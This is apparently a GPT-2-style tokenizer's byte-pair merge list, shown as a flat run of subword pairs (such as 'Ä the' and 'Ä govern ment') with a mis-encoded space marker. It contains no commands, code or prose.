b ut Ä w or Ä a ll e ct Ä  k am e Ä w ill o k Ä w he Ä the y id e 0 1 f f ic h p l t her Ä t r . . Ä in t i e u re ag e Ä n e i al a p in e ic e Ä m e Ä o ut an s on e on g ion s Ä wh o Ä  K Ä u p Ä the ir Ä a d Ä  3 Ä u s at ed ou s Ä m ore u e o g Ä S t in d i ke Ä s o im e p er . " b er i z a ct Ä on e Ä sa id Ä  - a re Ä you r c c Ä T h Ä c l e p a ke ab le i p Ä con t Ä wh ich i a Ä  im Ä ab out Ä we re ver y u b Ä h ad Ä  en Ä com p , " Ä I n Ä u n Ä a g i re ac e a u ar y Ä w ould as s r y Ä  âĢ c l o ok e re s o Ä  V ig n i b Ä of f Ä t e v en Ä  Y i le o se it e or m Ä 2 01 Ä re s Ä m an Ä p er Ä o ther or d ul t Ä be en Ä l ike as e an ce k s ay s ow n en ce Ä d is ct ion Ä an y Ä a pp Ä s p in t res s ation s a il Ä  4 ic al Ä the m Ä he r ou nt Ä C h Ä a r Ä  if Ä the re Ä p e Ä y ear a v Ä m y Ä s ome Ä whe n ou gh ac h Ä th an r u on d ic k Ä o ver ve l Ä  qu ÄŠ ÄŠ Ä s c re at re e Ä I t ou nd p ort Ä al so Ä p art f ter Ä k n Ä be c Ä t ime en s Ä  5 op le Ä wh at Ä n o d u m er an g Ä n ew -- -- Ä g et or y it ion ing s Ä j ust Ä int o Ä  0 ent s o ve t e Ä pe ople Ä p re Ä it s Ä re c Ä t w i an ir st ar k or s Ä wor k ad e o b Ä s he Ä o ur w n in k l ic Ä 1 9 Ä H e is h nd er au se Ä h im on s Ä  [ Ä  ro f orm i ld at es ver s Ä on ly o ll Ä s pe c k e ll am p Ä a cc Ä b l i ous ur n f t o od Ä h ow he d Ä  ' Ä a fter a w Ä at t o v n e Ä pl ay er v ic t Ä c ould it t Ä a m Ä f irst Ä  6 Ä a ct Ä  $ e c h ing u al u ll Ä com m o y o ld c es at er Ä f e Ä be t w e if f Ä tw o oc k Ä b ack ) . id ent Ä u nder rou gh se l x t Ä m ay rou nd Ä p o p h is s Ä d es Ä m ost Ä d id Ä ad d j ect Ä in c f ore Ä p ol on t Ä ag ain cl ud ter n Ä kn ow Ä ne ed Ä con s Ä c o Ä  . Ä w ant Ä se e Ä  7 n ing i ew Ä Th is c ed Ä e ven Ä in d t y Ä W e at h Ä the se Ä p r Ä u se Ä bec ause Ä f l n g Ä n ow ĠâĢ ĵ c om is e Ä m ake Ä the n ow er Ä e very Ä U n Ä se c os s u ch Ä e m Ä  = Ä R e i ed r it Ä in v le ct Ä su pp at ing Ä l ook m an pe ct Ä  8 ro w Ä b u Ä whe re if ic Ä year s i ly Ä d iff Ä sh ould Ä re m T h I n Ä e v d ay ' re ri b Ä re l s s Ä de f Ä r ight Ä s y ) , l es 00 0 he n Ä th rough Ä T r _ _ Ä w ay Ä d on Ä  , Ä 1 0 as ed Ä as s ub lic Ä re g Ä A nd i x Ä  very Ä in clud ot her Ä im p ot h Ä su b ĠâĢ Ķ Ä be ing ar g Ä W h = = ib le Ä do es an ge r am Ä  9 er t p s it ed ation al Ä b r Ä d own Ä man y ak ing Ä c all ur ing it ies Ä p h ic s al s Ä de c at ive en er Ä be fore il ity Ä we ll Ä m uch ers on Ä th ose Ä su ch Ä  ke Ä  end Ä B ut as on t ing Ä l ong e f Ä th ink y s Ä be l Ä s m it s a x Ä o wn Ä pro v Ä s et if e ment s b le w ard Ä sh ow Ä p res m s om et Ä o b Ä s ay Ä S h t s f ul Ä e ff Ä g u Ä in st u nd re n c ess Ä  ent Ä Y ou Ä go od Ä st art in ce Ä m ade t t st em ol og u p Ä  | um p Ä he l ver n ul ar u ally Ä a c Ä m on Ä l ast Ä 2 00 1 0 Ä st ud u res Ä A r sel f ar s mer ic u es c y Ä m in oll ow Ä c ol i o Ä m od Ä c ount Ä C om he s Ä f in a ir i er âĢ Ķ re ad an k at ch e ver Ä st r Ä po int or k Ä N ew Ä s ur o ol al k em ent Ä us ed ra ct we en Ä s ame ou n Ä A l c i Ä diff ere Ä wh ile ---- ---- Ä g ame ce pt Ä s im .. . Ä in ter e k Ä re port Ä pro du Ä st ill l ed a h Ä he re Ä wor ld Ä th ough Ä n um ar ch im es al e Ä S e Ä I f / / Ä L e Ä re t Ä re f Ä tr ans n er ut ion ter s Ä t ake Ä C l Ä con f w ay a ve Ä go ing Ä s l u g Ä A meric Ä spe c Ä h and Ä bet ween ist s Ä D e o ot I t Ä e ar Ä again st Ä h igh g an a z at her Ä ex p Ä o p Ä in s Ä g r Ä hel p Ä re qu et s in s Ä P ro is m Ä f ound l and at a us s am es Ä p erson Ä g reat p r Ä s ign Ä A n ' ve Ä s omet Ä s er h ip Ä r un Ä  : Ä t er ire ct Ä f ollow Ä d et ic es Ä f ind 1 2 Ä m em Ä c r e red e x Ä ex t ut h en se c o Ä te am v ing ou se as h at t v ed Ä sy stem Ä A s d er iv es m in Ä le ad Ä B l c ent Ä a round Ä go vern Ä c ur vel op an y Ä c our al th ag es iz e Ä c ar od e Ä l aw Ä re ad ' m c on Ä re al Ä supp ort Ä 1 2 .. .. Ä re ally n ess Ä f act Ä d ay Ä b oth y ing Ä s erv Ä F or Ä th ree Ä w om Ä m ed od y Ä The y 5 0 Ä ex per t on Ä e ach ak es Ä c he Ä c re in es Ä re p 1 9 g g ill ion Ä g rou ut e i k W e g et E R Ä m et Ä s ays o x Ä d uring er n iz ed a red Ä f am ic ally Ä ha pp Ä I s Ä ch ar m ed v ent Ä g ener i ent p le i et re nt 1 1 v es pt ion Ä 2 0 form ation Ä c or Ä off ic ie ld Ä to o is ion Ä in f Ä  Z t he o ad Ä p ublic Ä pro g r ic * * Ä w ar Ä p ower v iew Ä f ew Ä l oc Ä differe nt Ä st ate Ä he ad ' ll Ä p oss Ä st at re t ant s Ä v al Ä is s Ä c le i vers an c Ä ex pl Ä an other Ä  Q Ä a v th ing n ce W h Ä ch ild Ä s ince i red l ess Ä l ife Ä de velop itt le Ä de p Ä p ass ã Ä¥ Ä t urn or n Th is b ers ro ss Ä A d Ä f r Ä res p Ä sec ond o h Ä  / Ä dis c Ä  & Ä somet hing Ä comp le Ä  ed Ä f il Ä mon th a j u c Ä govern ment Ä with out Ä le g Ä d ist Ä p ut Ä qu est an n Ä pro t 2 0 Ä ne ver i ence Ä le vel Ä ar t Ä th ings Ä m ight Ä eff ect Ä cont ro Ä c ent Ä 1 8 Ä all ow Ä bel ie ch ool ot t Ä inc re Ä fe el Ä res ult Ä l ot Ä f un ot e Ä t y ere st Ä cont in Ä us ing Ä b ig 2 01 Ä as k Ä b est Ä  ) I N Ä o pp 3 0 Ä num ber in ess S t le ase Ä c a Ä m ust Ä d irect Ä g l Ä  < Ä op en Ä p ost Ä com e Ä se em ord ing Ä we ek ate ly it al Ä e l ri end Ä f ar Ä t ra in al Ä p ri Ä U S Ä pl ace Ä for m Ä to ld " : ain s at ure Ä Tr ump Ä st and Ä  # id er Ä F r Ä ne xt Ä s oc Ä p ur Ä le t Ä l ittle Ä h um Ä  i r on 1 5 Ä 1 5 Ä comm un Ä m ark Ä The re Ä w r Ä Th at Ä in formation w ays Ä b us a pp Ä inv est m e Ä h ard ain ed e ad Ä im port Ä app ro Ä t est Ä t ri Ä re st os ed Ä f ull Ä c are Ä S p Ä c ase O N Ä s k Ä l ess Ä  + Ä part ic Ä P l ab ly u ck is hed ch n b e Ä l ist at or Ä to p Ä ad v Ä B e ru ct Ä d em r ation l ing g y re en g er Ä h ome Ä le ft Ä bet ter Ä d ata Ä 1 1 Ä att ack Ä pro ble l ine ard s Ä be h r al Ä H ow Ä S he ar ge Ä  -- : // Ä b ro Ä P h at s Ä bu ild w w id ed a im as es en cy Ä m ain in ed Ä includ ing Ä  { Ä g ot Ä int erest Ä ke ep Ä  X Ä e as ain ing Ä cl ass âĢ ¦ Ä N o Ä v ar Ä sm all amp le A T Ä  ide Ä S o Ä re ce Ä pol it Ä m ov Ä pl an Ä per cent iv ing Ä c amp Ä p ay 1 4 s c is ed Ä u nt one y pl oy == == Ä did n Ä I nd el s ert ain Ä p os __ __ i ver Ä pro cess Ä prog ram if ied Ä R ep 1 6 u ro olog y at ter in a Ä n ame Ä A ll Ä f our Ä ret urn v ious b s Ä call ed Ä m ove Ä S c ir d Ä grou p Ä b re Ä m en Ä c ap t en e e Ä d ri le g he re uth or Ä p at Ä cur rent id es Ä p op t o ent ion Ä al ways Ä m il Ä wom en Ä 1 6 Ä o ld iv en ra ph Ä O r r or ent ly Ä n ear Ä E x re am s h Ä 1 4 Ä f ree iss ion st and Ä C on al ity us ed 1 3 Ä des ign Ä ch ange Ä ch ang Ä b o Ä v is em ber Ä b ook read y Ä k ill 2 5 pp ed Ä a way Ä ab le Ä count ry Ä con st ar n Ä or der A R i or i um or th 1 8 ail able Ä s w Ä m illion Ä 1 3 at ic t ed Ä G o Ä o per en g Ä th ing aj or con om Ä Com m Ä wh y u red ur al Ä s chool b y Ä M ar Ä a ff Ä d ays Ä an n us h an e I f e g Ä pro f Ä he alth ou th B ut ion al . , Ä s ol Ä al ready Ä 3 0 Ä char act H e Ä f riend E S i ans ic le ' d Ä O n Ä le ast Ä p rom Ä d r Ä h ist it her Ä  est i qu 1 7 s on Ä te ll Ä t alk oh n o int le ction A N Ä unt il au gh Ä l ater Ä  ve Ä v iew end ing iv ed Ä wor d w are Ä c ost Ä en ough Ä g ive Ä Un ited Ä te chn are nt O R Ä p ar Ä D r Ä 201 6 r ist er ing Ä   Ġl arge s ide ac y cc ess Ä w in Ä import ant Ä 19 9 Ä does n Ä 1 7 Ä bus iness Ä cle ar Ä re se " , ur y Ä e qu as ter al f Ä Americ an n ect Ä ex pect ivers ity Ä o cc Ä F l Ä k ind Ä me an Ä p ast Ä de v Ä b as le t ra ft Ä or gan Ä de l Ä per form Ä st ory Ä se ason Ä C ol Ä cl aim Ä c ame Ä with in Ä l ine Ä pro ject Ä A t Ä contro l end ed Ä S y Ä a ir iz ation Ä  * le y Ä m oney id d Y ou f or Ä fam ily Ä m aking Ä b it Ä pol ice Ä happ en Ä  vers on y u ff Ä W hen Ä s it ide o l f is on Ä su re g in Ä app ear Ä l ight Ä  es o f Ä w ater Ä t imes n ot Ä g row Ä comp any Ä T e ow s Ä m ar our ce i ol ar m b r Ä ex ample Ä con c Ä f ore Ä T o p ro E N ri es Ä 2 5 Ä C an ne y Ä act ually Ä e ver ur ity ak en ap s Ä t ax Ä m ajor am a Ä of ten er al Ä hum an Ä j ob is ter Ä av ailable oc r en n a id iv id Ä rec ord ? " Ä s ing Ä A m id ence Ä new s st er Ä e conom Ä follow ing Ä B r is ing Ä h our m ost um ent Ä se x Ä des c Ä bec ome Ä E d Ä to ok Ä ha ving Ä produ ct a ult A s ar ing Ä me ans Ä h op un e Ä ch o Ä c ertain Ä n on Ä de al 2 4 le ment oc i en e Ä s ide Ä P r Ä M ay Ä re ason u ed c hed ul ation Ä e lect Ä offic ial Ä poss ible Ä h old and s ot s Ä c ity or ies Ä se ver Ä child ren Ä on ce Ä act iv l er Ä n ight it ions Ä J ohn a pe pl ay Ä d one Ä l im Ä work ing Ä P res or ld e b Ä C o Ä b ody ail s ut es Ä M r Ä whe ther Ä a uthor ro p Ä pro per Ä se en ) ; Ä f ac Ä S u Ä con d it ing Ä cour se Ä  } -------- -------- a ign Ä ev ent Ä en g Ä p ot Ä in tern i am Ä sh ort em pt ã Ĥ Ä G od il ar 8 0 Ä or ig I S our n ab ility it ive Ä d am Ä 1 00 Ä p ress Ä do ing Ä prot ect r ing Ä though t Ä quest ion re w Ä W ar Ä sever al Ä St ate Ä g iven Ä f und Ä T w Ä w ent an ces w ork p or m y 4 0 Ä ar g art ment ust om Ä pol ic Ä me et Ä c reat 2 2 Ä St ates Ä g ames ra w ut ure Ä under stand ur s Ä O b l ish s y Ä m akes Ä w on ag on Ä h tt Ä l ove ent ial Ä comple te p ar Ä I m A L Ä acc ount  ł ore d ver t Ä  ident Ä 201 5 Ä other s Ä M in i ber ver age The re ition al d d Ä pro b Ä you ng Ä al ong Ä acc ording Ä y et Ä mem bers Ä Wh at o id Ä M an A nd Ä am ong a i Ä em ploy Ä R es Ä  > Ä inv ol Ä l ow a f Ä C ar Ä h ig Ä O ne Ä S ec in ation Ä like ly Ä an t ag ed Ä R uss Ä b en Ä re le F or b ack Ä N ot Ä pres ident b all Ä acc ess ivid ual Ä D em Ä E uro 6 0 Ä kn own ir l Ä G r Ä ear ly u se iet y âĢ ĵ Ä f ight Ä s ent Ä to day Ä mark et " . Ä b ased Ä str ong ur ther Ä de b m ber Ä proble m Ä de ath Ä soc ial im ate A S ort un Ä camp aign er y C h Ä e y i ally Ä m us w h p os Ä  er Ä sa f Ä month s ir on Ä v iol Ä f ive Ä st re Ä play ers in c al d y ear a un Ä su ccess Ä pres ent ere nce Ä 201 4 Ä su gg Ä partic ular Ä tr y Ä sugg est Ä Ch rist on es Ä pri v 2 3 Ä c rit Ä l and Ä loc al if y 2 9 Ä a ut E D Ä G u Ä m ult Ä polit ical Ä ask ed Ä for mer it ter ri pt Ä cl ose Ä p ract Ä Y ork Ä get ting Ä ac ross Ä com b Ä belie ve Ä  z Ä to get Ä toget her Ä C ent ir c Ä ind ividual Ä M c 2 7 is k Ä E ng Ä f ace Ä 2 4 Ä val ue Ä are a e v Ä w rit Ä Pres ident Ä v ot Ä ke y Ä m om p ut Ä any thing Ä exper ience att le Ä m ind a ff om m Ä f uture g ed Ä c ut Ä to t it ch Ä v ideo Ä invest ig Ä n et Ä M y r ict i en . ) Ä imp ro th ough ward s Ä con nect Ä M ed sel ves ens ive m b o ber at ors A n Ä 5 0 Ä re du res ent Ä ab ove Ä f re Ä Euro pe s w Ä am ount Ä A pp Ä e ither Ä mil it Ä an al Ä f ail Ä E n al es Ä spec ial Ä bl ack I T c her Ä look ing Ä f ire y n Ä al most o on Ä stud y Ä m iss c hes ro wn Ä t re Ä commun ity Ä med ia Ä f ood Ä com es Ä Un iversity Ä sing le Wh at u ly Ä h alf ag ue h od Ä Rep ublic Ä start ed Ä qu ick ot o b ook Ä iss ue it or Ä el se Ä cons ider 2 6 ro du Ä t aken 2 8 9 9 Ä W ith Ä tr ue Ä w a Ä tr ad Ä ag o Ä m ess ie f Ä add ed o ke Ä b ad Ä f av 3 3 Ä sim ilar as k Ä D on Ä charact er ort s Ä H ouse Ä report ed Ä ty pe v al i od Ä How ever Ä t arg Ä ent ire pp ing Ä hist ory Ä l ive ff ic .... .... ed eral Ä tr ying Ä disc uss Ä H ar ac es l ished Ä se lf os p re st Ä ro om el t Ä f all ol ution Ä e t Ä  x Ä is n Ä ide a b o Ä s ound Ä D ep Ä some one ci ally ull y Ä f oc Ä ob ject if t ap er Ä play er Ä r ather Ä serv ice as hing Ä D o Ä P art ru g m on p ly Ä m or Ä not hing Ä prov ide I C un g Ä part y Ä ex ist Ä m ag 7 0 Ä r ul Ä h ouse Ä beh ind Ä how ever Ä W orld Ä s um Ä app lic Ä  ; Ä fun ction g r Ä P ol Ä fr ont 2 00 Ä ser ies Ä t em Ä ty p ill s Ä o pt Ä point s Ä bel ow itt ed Ä spec ific Ä 201 7 um b Ä r a Ä pre vious Ä pre t re me Ä c ustom Ä cour t Ä M e Ä re pl Ä who le g o c er Ä t reat Ä A ct Ä prob ably Ä le arn end er Ä A ss Ä vers ion n ow Ä che ck Ä C al R E min ist O n our ces Ä ben ef Ä d oc Ä det er Ä en c Ä su per Ä add ress Ä v ict Ä 201 3 Ä me as t r Ä f ield W hen Ä sign ific u ge Ä fe at Ä comm on l oad Ä be gin Ä br ing Ä a ction er man Ä desc rib Ä ind ust Ä want ed ri ed m ing Ä att empt 4 5 f er Ä d ue ress ion # # Ä sh all Ä s ix o o Ä st ep Ä p ub Ä him self Ä 2 3 Ä c op Ä d est Ä st op A C ib ility Ä l ab ic ult Ä hour s Ä cre ate Ä f urther Ä Americ a Ä C ity Ä d ou he ad S T Ä N orth c ing Ä n ational u le Ä In st Ä t aking Ä Q u ir t Ä re d Ä rese arch v iron Ä G e Ä bre ak an a Ä sp ace ater ial Ä rec ent Ä A b Ä gener al Ä h it Ä per iod Ä every thing ive ly Ä ph ys Ä say ing an ks Ä c ou Ä c ult ac ed e al u ation Ä c oun l u Ä includ e Ä pos ition Ä A fter Ä Can ad Ä E m Ä im m Ä R ed Ä p ick Ä com pl Ä m atter re g e xt ang u is c o le a ut Ä comp et e ed f ect Ä 2 1 Ä S en Ä The se as ing Ä can not Ä in it Ä rel ations ac hed Ä b ar Ä 4 0 Ä T H Ä 201 2 Ä v ol Ä g round Ä sec urity Ä up d il t 3 5 Ä conc ern Ä J ust Ä wh ite Ä seem s Ä H er pe cially i ents Ä ann oun Ä f ig ight s Ä st ri l ike id s Ä s us Ä w atch Ä  â Ä w ind Ä C ont Ä it self Ä m ass A l y le iqu e Ä N ational Ä ab s Ä p ack Ä out side Ä an im Ä p ain et er Ä man ag du ct og n Ä  ] Ä Se pt se c o ff Ä J an Ä f oot ad es Ä th ird Ä m ot Ä ev idence int on Ä th reat a pt pl es c le Ä l o Ä de cl Ä it em med i Ä rep resent om b am er Ä signific ant og raph s u Ä c al i res 00 00 I D A M Ä sim ply Ä long er Ä f ile O T c he S o ate g or g Ä H is Ä en er Ä d om Ä up on il i ": " Ä them selves Ä com ing Ä qu ite Ä diff icult Ä B ar il ities re l end s c ial 6 4 Ä wom an ra p y r Ä ne cess ip s Ä te xt Ä requ ire Ä milit ary Ä re view Ä resp ons 7 5 Ä sub ject Ä inst ead Ä iss ues Ä g en " ," Ä min utes Ä we ap r ay am ed t ime b l H ow Ä c ode Ä S m Ä hig her Ä St e r is Ä p age Ä stud ents Ä In tern Ä met hod Ä A ug Ä P er Ä A g Ä polic y Ä S w Ä ex ec Ä ac cept um e rib ut Ä word s Ä fin al Ä chang es Ä Dem ocr Ä friend s Ä res pect Ä e p Ä comp an iv il Ä dam age ** ** og le viron ment Ä ne g ent al Ä a p Ä tot al iv al ! " l im Ä need s Ä ag re Ä develop ment Ä a ge ip le 2 1 Ä result s Ä A f S h Ä g un Ä Ob ama ro ll Ä  @ Ä right s Ä B rit Ä run ning Ä was n Ä p ort Ä r ate Ä pret ty Ä targ et Ä sa w Ä c irc Ä wor ks ic ro al t o ver ww w Th at l ier Ä every one ud e Ä p ie idd le ra el Ä r ad Ä bl ock Ä w alk T o ã Ä£ n es Ä A ust a ul ro te Ä S outh ess ion op h Ä show s Ä s ite Ä j o Ä r isk cl us l t Ä in j id ing Ä S pe Ä ch all ir m Ä 2 2 itt ing st r Ä h y L E ke y Ä be gan at ur ashing ton l am Ä D av b it Ä s ize Ä P ar 3 8 ourn al f ace Ä dec ision Ä l arg Ä j ud re ct Ä contin ue Ä O ct ove red Ä I nt ==== ==== Ä p arent Ä W ill Ä eas y Ä d rug ang er Ä s ense Ä d i id ay Ä ener gy ist ic Ä ass oci ar ter ob al e ks Ä E l ur ch Ä g irl o e it le Ä 2 8 Ä C he Ä requ est Ä so on Ä h ost k y Ä st ates om es Ä m aterial le x Ä mom ent Ä an sw on se Ä es pecially Ä n orm Ä serv ices p ite r an Ä ro le 4 4 ) : Ä c red C l ____ ____ Ä m at Ä l og Ä Cl inton O U Ä off ice Ä 2 6 Ä ch arg Ä tr ack m a Ä he art Ä b all Ä person al Ä build ing n a s et b ody Ä Bl ack Ä incre ase itt en Ä need ed 3 6 3 2 = " Ä l ost Ä bec ame Ä grou ps Ä M us Ä w rote Ä P e Ä pro p j oy à © Ä Wh ite Ä de ad . ' Ä htt p Ä we bs O S Ä ins ide Ä wr ong Ä stat ement Ä  ... y l Ä fil m Ä mus ic Ä sh are ific ation Ä re lease Ä for ward Ä st ay Ä comp ut it te s er Ä orig inal Ä c ard Ä c and Ä d iv at ural Ä fav or O M Ä c ases us es Ä se ction Ä le ave g ing ov ed Ä W ashington 3 9 Ä G l Ä requ ired act ion ap an o or it er Ä K ing Ä count ries Ä G erman ll ing Ä 2 7 3 4 Ä quest ions Ä pr im Ä c ell Ä sh oot Ä any one Ä W est Ä aff ect ep end Ä on line Ä Is rael Ä Sept ember Ä ab ility Ä cont ent is es Ä re ve Ä l aun Ä ind ic Ä for ce c ast Ä so ld av ing f l Ä so ft Ä compan ies ce ed Ä art icle Ä a ud Ä re v Ä ed uc Ä play ing 0 5 Ä he ld ct or Ä rele ased Ä f ederal 3 7 Ä ad minist Ä inter view Ä inst all Ä rece ived Ä s ource u k P h Ä ser ious Ä cre ated Ä c ause Ä im medi Ä def in u el Ä Dep artment ct ions Ä C our Ä N ow z e it es it ution Ä l ate Ä spe ak n ers Ä leg al ar i Ä C or Ä we eks Ä mod el Ä p red Ä ex act B C Ä B y IN G os ing Ä t akes Ä reg ard Ä opp ortun Ä pr ice Ä 19 8 Ä A pr f ully Ä or d Ä proble ms ru ction h am Ä C ount le ge Ä lead ers E T le v Ä de ep olog ical es e h aps Ä S ome Ä p ers Ä cont ract Ä relations hip s p ou d Ä b ase 4 8 m it A d anc ial Ä cons um Ä pot ential Ä l angu re m et h Ä rel ig ress ed 6 6 Ä l ink Ä l ower ay er Ä J une Ä f em un t er c ur d Ä cont act Ä  ill Ä m other Ä est ab h tt Ä M arch Ä B ro Ä Ch ina Ä 2 9 Ä s qu Ä prov ided Ä a verage as ons Ä 201 1 Ä ex am l in 5 5 n ed Ä per fect Ä t ou al se u x Ä bu y Ä sh ot Ä col lect Ä ph ot Ä play ed Ä sur pr Ä official s Ä sim ple av y Ä indust ry Ä hand s g round Ä p ull Ä r ound Ä us er Ä r ange u ary Ä priv ate op s e es Ä w ays Ä M ich Ä ve h Ä ex cept Ä ter ms im um pp er I ON ore s Ä Dr agon ou l Ä d en Ä perform ance Ä b ill c il 4 7 Ä en vironment Ä ex c ad d Ä wor th Ä p ict Ä ch ance Ä 201 8 b or Ä spe ed ict ion Ä al leg Ä J apan at ory re et Ä m atch Ä I I Ä st ru ord er Ä st e Ä l iving Ä st ruct in o Ä se par her n Ä resp onse Ä en joy Ä v ia A D um ents ace book Ä mem ber ib r iz ing Ä to ol Ä M on Ä Wh ile h ood Ä A ng Ä D ef Ä off er T r a ur Ä turn ed Ä J uly d own an ced Ä rec ently Ä E ar Ä c e Ä St ar Ä C ong rough t Ä bl ood Ä hop e Ä com ment ain t Ä ar ri il es Ä partic ip ough t ri ption 0 8 4 9 Ä g ave Ä se lect Ä kill ed sy ch Ä go es i j Ä c oll Ä imp act at ives Ä S er 0 9 Ä Aug ust Ä b oy d e Ä D es Ä f elt U S Ä expect ed Ä im age Ä M ark cc ording o ice E C Ä M ag en ed h old Ä P ost Ä pre vent N o Ä invol ved Ä ey es Ä quick ly A t un k Ä beh av Ä  ur Ä l ed c ome e y Ä cand id Ä ear lier Ä foc us et y P ro led ge ix ed ill ed Ä pop ular A P Ä set t l ight Ä var ious in ks Ä level s Ä ro ad ell ig ab les he l itte e Ä G ener y pe Ä he ard ic les Ä m is Ä us ers Ä S an Ä impro ve Ä f ather Ä se arch The y v il Ä prof ess Ä kn ew Ä l oss Ä ev ents 6 5 Ä b illion 0 7 0 2 Ä New s Ä A M Ä co ver w here ens ion Ä b ott Ä are as en ces op e Ä Tw itter a el Ä get s Ä Go ogle Ä s n i ant Ä v ote Ä near ly Ä includ ed Ä rec ogn z z m m al ed Ä happen ed 0 4 Ä h ot Ä who se Ä c ivil Ä su ff o es it iz Ä Sy ri Ä resp ond Ä h on Ä feat ures Ä econom ic Ä Apr il r im Ä techn ology Ä o ption ag ing Ä pur ch R e Ä l at ch ie is l Ä rec omm u f Ä tr aining Ä effect s Ä f ast Ä 201 0 Ä occ ur Ä webs ite Ä em ail Ä s ens e ch Ä o il Ä inf lu Ä current ly Ä S ch Ä Ad d Ä go al Ä sc ient Ä con v 1 00 em y Ä dec ided Ä tra vel Ä m ention L L 0 3 Ä e lection Ä ph one Ä look s Ä sit uation Ä c y Ä h or b ed Ä Cour t a ily av es Ä qu ality Ä Com p w ise Ä t able Ä st aff Ä W ind et t Ä tri ed ide red Ä add ition Ä b ox Ä l ack ar ily Ä w ide Ä m id Ä bo ard ys is Ä ant i h a Ä d ig en ing Ä d ro C on 6 8 Ä sl ow b ased se qu Ä p ath E x ak er Ä work ed Ä p en Ä eng ine Ä look ed Ä Su per Ä S erv Ä vict im U n Ä proper ty Ä int rodu Ä exec ut Ä P M L e Ä col or Ä M ore Ä 6 0 Ä net work Ä d ate c ul id ge Ä ext ra 3 1 Ä s le 6 7 Ä w ond Ä report s j ust Ä Aust ral Ä cap ital Ä en s Ä comm and Ä allow ed Ä pre p Ä ca pt h ib Ä num bers ch an Ä f air m p om s Ä re ach W ith t ain Ä bro ad Ä cou ple ec ause ly ing Ä F eb Ä sc reen Ä l ives Ä pri or Ä Cong ress A r Ä appro ach Ä e mer ar ies Ä D is s erv Ä N e Ä bu ilt c ies Ä re pe Ä rul es for ce Ä P al Ä fin ancial Ä cons idered Ä Ch ar n ces Ä I S Ä b rought Ä b i i ers Ä S im O P Ä product s Ä vis it Ä doc ument Ä con duct Ä complete ly in ing Ä Cal if ib ly Ä wr itten Ä T V em ents Ä d raw O ne Ä pub lished Ä sec ret r ain he t Ä F acebook ond ay Ä U p Ä sex ual Ä th ous Ä P at Ä  ess Ä stand ard Ä ar m g es ect ion Ä f ell Ä fore ign an i Ä Fr iday Ä reg ular in ary Ä incre ased Ä us ually Ä dem on Ä d ark Ä add itional ro l Ä O f Ä produ ction ! ! und red Ä intern ational id ents Ä F ree rou p Ä r ace Ä m ach Ä h uge A ll le ar ove mber Ä to wn Ä att ention Ä O ff y ond Ä The n f ield Ä ter ror ra z Ä B o Ä meet ing Ä P ark Ä ar rest Ä f ear Ä a w Ä V al or ing ' , Ä ext reme ar r Ä work ers A fter Ä 3 1 n et am ent Ä direct ly Ä pop ulation ub e Ä Oct ober Ä I N Ä Jan uary 5 9 Ä Dav id Ä c ross ce mber Ä F irst Ä mess age ir it Ä n ation Ä p oll is ions Ä answ er n y is ode Ä car ry Ä Russ ia Ä he ar eng th ro y Ä n atural in ally Ä do g m itted Ä tr ade Ä sub st Ä mult iple Ä Af ric Ä f ans Ä s ort Ä gl obal ic ation Ä W ed ar a Ä a chie Ä langu age ve y Ä t al Ä necess ary Ä det ails Ä s en Ä S und Ä Re g Ä R ec 0 6 Ä s il ress ive Ä med ical un ch orn ia Ä u nd f ort oc ks Ä M onday ues day c raft 7 7 ur t Ä  ver Ä H ill Ä rece ive Ä mor ning es tern Ä b ank Ä s at ir th Ä H igh Ä dev ice Ä TH E Ä Cent er Ä saf e Ä p le Ä Canad a Ä system s Ä ass ist Ä sur v Ä b attle Ä S oc vert is S he Ä p aper Ä grow th Ä c ast S c Ä pl ans ll ed Ä part s Ä w all Ä move ment Ä pract ice im ately Ä dis play Ä somet imes om p Ä P aul Ä Y es k ing 5 8 o ly Ä s on Ä av oid ok es Ä J ew Ä to wards as c Ä  // Ä K ore Ä talk ing Ä cor rect Ä sp ent ic ks i able e ared Ä ter m Ä want s om ing Ä  ut Ä dou b Ä for ces Ä p lease 6 9 Ä N ovember at form ond on Ä on es Ä immedi ately Ä Russ ian Ä M et Ä de g Ä parent s C H Ä Americ ans al y Ä M od Ä sh own Ä cond itions Ä st uff Ä re b Ä Y our Ä includ es n own Ä S am Ä exper ien m ission Ä E ven augh t Ä announ ced Ä Republic an Ä deter min Ä describ ed Ä Count y ( ) Ä do or Ä chang ed Ä ne igh Ä H ere Ä cle an Ä p an Ä De cember Ä Europe an ir ing ap ter Ä cl ub Ä T uesday Ä p aid Ä N et Ä attack s Ä charact ers Ä al one Ä direct or d om Ä 3 5 Ä l oad Ä r out Ä Calif ornia Ä fin ally Ä r ac Ä cont r Ä exact ly res h p ri Ä Is lam Ä n ature Ä care er Ä lat est Ä con vers Ä S l p ose ci ent Ä In c iv ity 8 8 Ä A tt Ä M or nes day Ä we ight k en Ä not e Ä team s Ä  \ air s Ä G reen Ä h undred on ent Ä stre ng Ä cons ist ic ated Ä reg ul Ä l ic ast ic Ä t en urs day ellig ence ous ly Ä U K B I Ä cost s Ä ind epend Ä A P Ä norm al Ä h om Ä ob vious Ä s we Ä st ar Ä read y ac her Ä imp lement g est Ä s ong Ä G et Ä L ab Ä interest ing us ing Ä g iving Ä Sund ay Ä et c Ä m iddle Ä rem ember r ight os ition ut ions Ä m ax 4 6 Ä your self Ä dem and Ä treat ment Ä d anger Ä C ons Ä gu y Ä Brit ish Ä phys ical Ä rel ated Ä rem ain Ä could n Ä ref er Ä c itiz b ox EN T bo ard Ä in n I G er o Ä St reet osp ital ren ch cher s Ä st ra O L ag er Ä A N Ä eas ily I A en ge in y Ä cl os ock ed Ä us es Ä C oun I m u ild ? ? m ore Ä an g Ä wr ite ol ute 5 7 Ä lead er Ä read ing < / Ä aut om est s 4 3 Ä leg isl Ä G old Ä design ed Ä S T Ä Le g a res Ä be aut Ä T ex Ä appear s Ä stru gg Ä R om Ä  00 Ä cho ice Ä particular ly Ä F rom op er Ä L ondon ann ed Ä allow s ob ile Ä differe nce âĢ ¢ Ä V iew Ä Wed nesday Ä al though Ä rel ative Ä applic ation ate ver Ä are n Ä my self Ä im ag Ä dis e Ä soc iety Ä fre qu Ä Eng lish Ä po or Ä D ay Ä writ ing Ä se ven Ä start ing Ä b ud Ä pr int Ä Tr ans uf act Ä St ud n ew Ä cr im Ä g ives Ä co ol a e i ance Ä Gener al Ä think ing Ä sa ve Ä lim ited Ä Part y Ä mean ing p en ow ers Ä J ack E M Ä n ice ru pt Ä g as Ä e ight Ä fe et Ä eff ort Ä  ign ic it B l co in Ä op in Ä br ain Wh ile he st Ä Th ursday Ä would n augh ter Ä tou ch le ments Ä stud ies Ä cent er c ont or ge Ä comput er Ä investig ation P l or 